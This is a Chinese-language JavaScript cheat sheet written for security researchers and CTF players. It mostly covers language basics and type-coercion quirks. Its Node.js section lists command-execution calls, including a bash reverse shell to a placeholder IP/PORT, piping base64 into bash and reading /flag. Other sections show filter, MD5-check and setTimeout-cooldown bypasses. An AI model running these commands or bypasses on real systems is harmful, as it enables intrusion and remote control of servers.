前言
JavaScript 是 Web 安全绕不开的语言——前端 XSS、Node.js 后端漏洞、原型链污染、沙箱逃逸、弱类型绕过……几乎每一种 Web 攻击面都涉及 JS。但很多安全研究者的 JS 基础是”边打边学”拼凑出来的,遇到 [] == ![] 这类反直觉行为时往往靠猜。
本文是一份面向安全研究者的 JS 速查手册,按主题组织——从函数定义、类型转换陷阱、异步编程到 Node.js 特有的 RCE 函数,每个知识点都附带可直接复制的代码示例。它不是 JS 入门教程,而是你在审计代码、写 exploit、分析 payload 时随手翻阅的参考。
一、函数
1.1 不会自动执行的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| function myFunction() { console.log("这是一个函数声明"); }
const myFunction = function() { console.log("这是一个函数表达式"); };
const myFunction = () => { console.log("这是一个箭头函数"); };
function MyConstructor() { this.property = "一些属性"; } const instance = new MyConstructor();
|
1.2 会立即执行的函数(IIFE)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| (function() { console.log("这是一个 IIFE,会立即执行"); })();
(function() { console.log("这也是一个 IIFE"); }());
(() => { console.log("箭头函数 IIFE 也会立即执行"); })();
!function() { console.log("! 触发的 IIFE"); }(); ~function() { console.log("~ 触发的 IIFE"); }(); +function() { console.log("+ 触发的 IIFE"); }();
|
1.3 new function() —— 匿名构造函数
1 2 3 4 5
| var a = new function() { this.name = "test"; console.log("函数被执行了"); }; console.log(a.name);
|
执行顺序: new 创建空对象 → 匿名函数执行(this 指向新对象)→ 新对象赋值给 a。
1.4 Promise 构造函数中的执行器会立即执行
1 2 3 4 5 6 7 8 9 10 11
| const promise = new Promise(function(resolve, reject) { console.log("Promise 构造函数中的函数会立即执行"); resolve("完成"); });
promise.then(result => { console.log(result); }); console.log("我先输出");
|
执行顺序: new Promise(fn) → fn 立即执行 → console.log("我先输出") → then 回调入微任务队列 → 微任务执行。
1.5 函数作为参数传递(回调)
1 2 3 4 5 6 7 8 9 10 11 12
| function say(word) { console.log(word); }
function execute(someFunction, value) { someFunction(value); }
execute(say, "Hello");
execute(function(word) { console.log(word) }, "Hello");
|
二、DOM 操作
2.1 getElementById
1 2
| const statusEl = document.getElementById('status');
|
对应 HTML:
1
| <span class="meta" id="status"></span>
|
2.2 常用 DOM 查询速查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| document.getElementById('id') document.querySelector('.class') document.querySelector('[name="csrf"]')
document.getElementsByClassName('class') document.getElementsByTagName('div') document.querySelectorAll('.class') document.getElementsByName('name')
el.getAttribute('href') el.innerHTML el.outerHTML el.textContent el.value
|
三、字符串与编码
3.1 String.fromCharCode —— 数字转字符
1 2 3 4 5 6 7 8
| let singleChar = String.fromCharCode(65); console.log(singleChar);
let greeting = String.fromCharCode(72, 101, 108, 108, 111); console.log(greeting);
const cmd = String.fromCharCode(99, 97, 116);
|
3.2 btoa / atob —— Base64 编解码
1 2 3 4 5 6 7 8
| btoa("hello");
atob("aGVsbG8=");
const payload = atob("Y2F0IC9mbGFn");
|
3.3 String.split —— 字符串分割
1 2 3 4 5 6
| "Hello World".split(" "); "a,b,c".split(","); "abc".split("");
"hello the world".split(/\s+/);
|
3.4 大小写绕过(Unicode 特殊字符)
1 2 3 4 5 6 7 8 9
| "ı".toUpperCase() == 'I';
"ſ".toUpperCase() == 'S';
const payload = "ſcript";
|
| 字符 |
.toUpperCase() |
绕过目标 |
ı (U+0131) |
I |
I → İ 的关系导致小写 ı 变成大写 I |
ſ (U+017F) |
S |
长 s 的大写形式就是 S |
ß (U+00DF) |
SS |
德语 eszett 变大写后变成两个 S |
ff (U+FB00) |
FF |
连字 ff |
四、数组操作
4.1 Array.map —— 遍历并返回新数组
1 2 3 4
| const numbers = [1, 2, 3]; const doubled = numbers.map(num => num * 2); console.log(doubled); console.log(numbers);
|
4.2 Array.filter —— 按条件筛选
1 2 3 4 5 6 7
| const numbers = [1, 2, 3, 4, 5, 6]; const evenNumbers = numbers.filter(num => num % 2 === 0); console.log(evenNumbers);
const words = ["apple", "banana", "kiwi", "grape"]; const longWords = words.filter(word => word.length >= 5); console.log(longWords);
|
4.3 数组拼接与隐式转换
1 2 3 4 5 6 7
| console.log(5 + [6, 6]); console.log("5" + 6); console.log("5" + [6, 6]); console.log("5" + ["6", "6"]);
[6, 6].toString();
|
五、剩余参数与解构
5.1 剩余参数语法(Rest Parameters)
1 2 3 4 5 6
| function invite(name, ...friends) { console.log(name + " 邀请了: ", friends); } invite("小明", "小红", "小刚", "小丽");
|
5.2 数组解构 + 剩余
1 2 3 4
| const line = "hello the fuck world"; const [cmd, ...rest] = line.split(/\s+/);
|
六、弱类型比较(核心!安全必知)
JavaScript 的 == 运算符有一套复杂的类型转换规则,是绕过认证逻辑的经典入口。
6.1 数字与字符串
1 2 3 4 5 6
| console.log(1 == '1'); console.log(1 > '2'); console.log('1' < '2'); console.log(111 > '3'); console.log('111' > '3'); console.log('asd' > 1);
|
6.2 数组比较
1 2 3 4 5 6
| console.log([] == []); console.log([] > []); console.log([6, 2] > [5]); console.log([100, 2] < 'test'); console.log([1, 2] < '2'); console.log([11, 16] < "10");
|
规则总结:
- 数组之间比较:各自
toString() 后再比较
- 数组和字符串比较:数组先
toString(),再按字符串比较
- 空数组
[] 和空数组是两个不同对象,== 比较引用 → false
[] 转字符串是 "",[1,2] 转字符串是 "1,2"
6.3 null / undefined / NaN
1 2 3 4 5 6
| console.log(null == undefined); console.log(null === undefined); console.log(NaN == NaN); console.log(NaN === NaN); console.log(isNaN(NaN)); console.log(Number.isNaN(NaN));
|
6.4 比较速查表
| 表达式 |
结果 |
原因 |
1 == '1' |
true |
字符串转数字 |
true == 1 |
true |
布尔转数字,true → 1 |
false == 0 |
true |
布尔转数字,false → 0 |
'' == 0 |
true |
空字符串 → 0 |
[] == 0 |
true |
[] → "" → 0 |
[] == '' |
true |
[] → "" |
[] == ![] |
true |
![] → false → 0,[] → "" → 0 |
null == 0 |
false |
null 只等于 undefined 和自己 |
undefined == 0 |
false |
undefined 只等于 null 和自己 |
' \t\r\n ' == 0 |
true |
空白字符串 trim 后 → "" → 0 |
6.5 数组/对象绕过 MD5 比较
Node.js 中经典的 WAF 绕过:
1 2 3 4 5 6 7 8
| function md5(s) { return crypto.createHash('md5').update(s).digest('hex'); }
if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) { }
|
绕过方式一:传入数组
a 被解析为 ['1'],b 被解析为 ['2']
a.length === b.length → 1 === 1 → true
a !== b → ['1'] !== ['2'] → true
md5(a + flag) → md5('1' + flag) → md5('1flag{...}')
md5(b + flag) → md5('2' + flag) → md5('2flag{...}')
- 不相等 → 失败
但如果传入相同的数组:
a = ['1'],b = '1'
a + flag → ['1'] + flag → '1flag'
b + flag → '1' + flag → '1flag'
md5('1flag') === md5('1flag') → true!
绕过方式二:传入对象
a = {x: '1'},b = {x: '2'}
a + flag → '[object Object]flag'
b + flag → '[object Object]flag'
- 相等!绕过!
核心原理: 对象(包括数组)参与 + 运算时调用 .toString(),所有普通对象都返回 [object Object]。
七、Promise 与异步
7.1 Promise 基础
Promise 有三种状态:pending(进行中)、fulfilled(成功)、rejected(失败)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| let promise = new Promise(function(resolve, reject) { setTimeout(() => { let success = true; if (success) { resolve("操作成功!"); } else { reject("出错了!"); } }, 1000); });
promise .then(result => { console.log(result); }) .catch(error => { console.error(error); }) .finally(() => { console.log("异步操作结束。"); });
|
7.2 async / await
async 函数自动返回 Promise:
1 2 3 4 5 6 7 8 9 10
| async function getNumber() { return 42; }
const result = getNumber(); console.log(result); console.log(result instanceof Promise);
getNumber().then(value => console.log(value));
|
await 等待 Promise 完成并直接拿到值:
1 2 3 4 5 6 7 8 9 10 11
| async function getData() { let promise = new Promise((resolve) => { setTimeout(() => resolve("数据加载完成!"), 1000); });
let result = await promise; console.log(result); }
getData();
|
7.3 async/await 解决回调地狱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| fs.readFile('data.json', (err1, data) => { if (err1) throw err1; const jsonData = JSON.parse(data); db.query('SELECT * FROM users WHERE id = ?', [jsonData.userId], (err2, user) => { if (err2) throw err2; mail.send({ to: user.email, subject: 'Welcome' }, (err3, result) => { if (err3) throw err3; console.log("邮件发送成功"); }); }); });
async function processUserData() { const data = await fs.promises.readFile('data.json'); const jsonData = JSON.parse(data); const user = await db.query('SELECT * FROM users WHERE id = ?', [jsonData.userId]); const result = await mail.send({ to: user.email, subject: 'Welcome' }); console.log("邮件发送成功"); }
|
八、定时器
8.1 setInterval —— 周期性执行
1 2 3 4 5 6 7 8 9 10
| let intervalID = setInterval(要执行的函数, 间隔毫秒数, 参数1, 参数2, ...);
let counter = 0; let intervalID = setInterval(function() { console.log("第" + (++counter) + "次执行"); if (counter >= 5) { clearInterval(intervalID); } }, 1000);
|
8.2 clearInterval —— 停止定时器
1 2 3 4 5 6 7 8 9 10 11
| clearInterval(intervalID);
let count = 0; let timer = setInterval(() => { console.log("Tick", ++count); if (count === 3) { clearInterval(timer); console.log("定时器已停止"); } }, 1000);
|
8.3 setTimeout 溢出漏洞
1
| const t = setTimeout(() => next(), delay);
|
delay 如果大于 2147483647 毫秒(约 24.8 天),会发生 32 位有符号整数溢出,导致回调函数立即执行(在当前任务队列结束后)。
1 2 3 4 5 6 7
| setTimeout(() => console.log("正常"), 2147483648);
setTimeout(() => console.log("立即执行了!"), 2147483648);
|
攻击场景: 如果服务器用 setTimeout 实现”冷却时间”(cooldown),传入超大 delay 可以绕过冷却限制。
最大安全 delay: 0x7FFFFFFF = 2147483647 ms ≈ 24.86 天。超过此值的行为因环境而异(Node.js 和浏览器可能不同)。
九、Node.js 专属
9.1 全局对象
9.2 process 对象
1 2 3 4 5 6 7 8 9 10
| console.log("Node 版本:", process.version); console.log("系统平台:", process.platform); console.log("当前进程ID:", process.pid); console.log("父进程ID:", process.ppid); console.log("当前工作目录:", process.cwd()); console.log("NODE_ENV:", process.env.NODE_ENV); console.log("系统用户名:", process.env.USER);
console.log(process.env);
|
9.3 sendFile —— 向客户端发送文件
1 2
| res.sendFile('js.cookie.js', { root: './node_modules/js-cookie/src/' });
|
9.4 RCE 函数(喜欢执行命令的函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| require('child_process').exec('echo SHELL_BASE_64 | base64 -d | bash');
require('child_process').execSync('cat /flag').toString();
require('child_process').execFile("calc", { shell: true });
require('child_process').spawn("calc", { shell: true });
require('child_process').fork('/tmp/evil.js');
require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"');
|
十、动态执行代码
10.1 Function 构造器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| const divide = new Function('a', 'b', 'return a / b;'); const multiply = new Function('a,b', 'return a * b;'); const getPI = new Function('return Math.PI;');
console.log(divide(10, 2));
const fn2 = Function('console.log("Hello")'); fn2();
Function('console.log("Hello")')();
Function('return require("child_process").execSync("cat /flag").toString()')();
|
10.2 eval 替代品
1 2 3 4 5 6 7 8 9
| eval('console.log(1)');
setTimeout('console.log(1)', 0);
(0, eval)('console.log(1)'); globalThis.eval('console.log(1)');
|
十一、反射与对象属性
11.1 Object.getOwnPropertyNames
1 2 3 4 5 6 7 8 9 10
| const obj = { a: 1, b: 2 }; Object.getOwnPropertyNames(obj);
const arr = [1, 2, 3]; Object.getOwnPropertyNames(arr);
Object.getOwnPropertyNames(globalThis); Object.getOwnPropertyNames(__runtime);
|
11.2 其他反射方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Object.keys(obj);
Object.values(obj);
Object.entries(obj);
Object.getOwnPropertySymbols(obj);
Reflect.ownKeys(obj); Reflect.get(obj, 'key'); Reflect.set(obj, 'key', 'value');
|
十二、类型转换陷阱速查表
| 表达式 |
结果 |
说明 |
[] + {} |
"[object Object]" |
[] → "",{} → "[object Object]" |
{} + [] |
0 或 "[object Object]" |
取决于 {} 被解析为块还是对象 |
[] + [] |
"" |
两个空字符串拼接 |
true + true |
2 |
true → 1,1 + 1 = 2 |
1 + '1' |
"11" |
数字 + 字符串 → 字符串 |
1 - '1' |
0 |
减法没有字符串行为,'1' → 1 |
'2' * '3' |
6 |
都转数字 |
!!'false' |
true |
非空字符串都是 truthy |
!!'' |
false |
空字符串是唯一的 falsy 字符串 |
!!undefined |
false |
|
!!null |
false |
|
!!0 |
false |
|
参考